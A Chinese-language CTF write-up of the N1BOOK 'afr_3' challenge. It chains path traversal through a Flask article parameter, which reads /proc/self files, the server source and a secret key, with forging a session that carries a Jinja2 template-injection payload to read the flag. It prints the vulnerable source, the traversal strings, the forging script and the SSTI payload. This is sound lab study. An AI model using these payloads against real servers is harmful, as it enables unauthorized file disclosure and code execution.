文件读取漏洞专题-一道例题

做了一些文件读取的题,这道题看着还不错,就拿来当例题了

[N1BOOK]afr_3

一进去发现是一个查询框

随便输个名字,跳转到该页面,点击article跳转到一个演示article界面

注意到演示article的地址栏,尝试改变name的值,发现name就是文件名,但是只要含有“flag”就会显示no permission

构造name=../../../../../../../proc/self/environ,看一眼环境变量,找到一个flag,结果发现是假的(恼)

构造name=../../../../../../../proc/self/cmdline

得到进程名server.py(为什么是server.py而不是pythonserver.py?因为cmdline存的是启动当前进程的完整命令,python后其实还有不可见的字符隔开)

构造name=../../../../../../../proc/self/cwd/server.py,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e

return render_template('article.html', template=template)

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)

可以看到n1page页面的存在模板注入,得到key之后就可以伪造session

(这里稍微学习了一下模板注入,下篇报告就水这个了)

name=../../../../../../../proc/self/cwd/key.py,先把key整出来

本地起fake web,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )

app = Flask(__name__)

app.secret_key='Drmhze6EPcv0fN_81Bj-nA'

@app.route("/fake",methods=["GET","POST"])
def fake():
session['n1code'] = '{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'/proc/self/cwd/flag.py\').read()}}'
template = "payload :%s" % session['n1code']
return template

if __name__ == '__main__':
app.run('127.0.0.1', port=80, debug=False)

然后把本地出的session贴到题目那个网页里去

总结和感想

和HFCTF2021的easyflask有很多相似点,都是通过任意文件读取读到环境变量获取key,然后伪造session

不过那一题是反序列化,这一题是模板注入

本来想用别人的wp里那个什么flask_session_cookie_manager来伪造的,想了想为了加深理解还是自己写脚本了

模板注入的payload也和wp用的不一样,不过结果来看是成功的

果然想打web得用好py啊(感叹)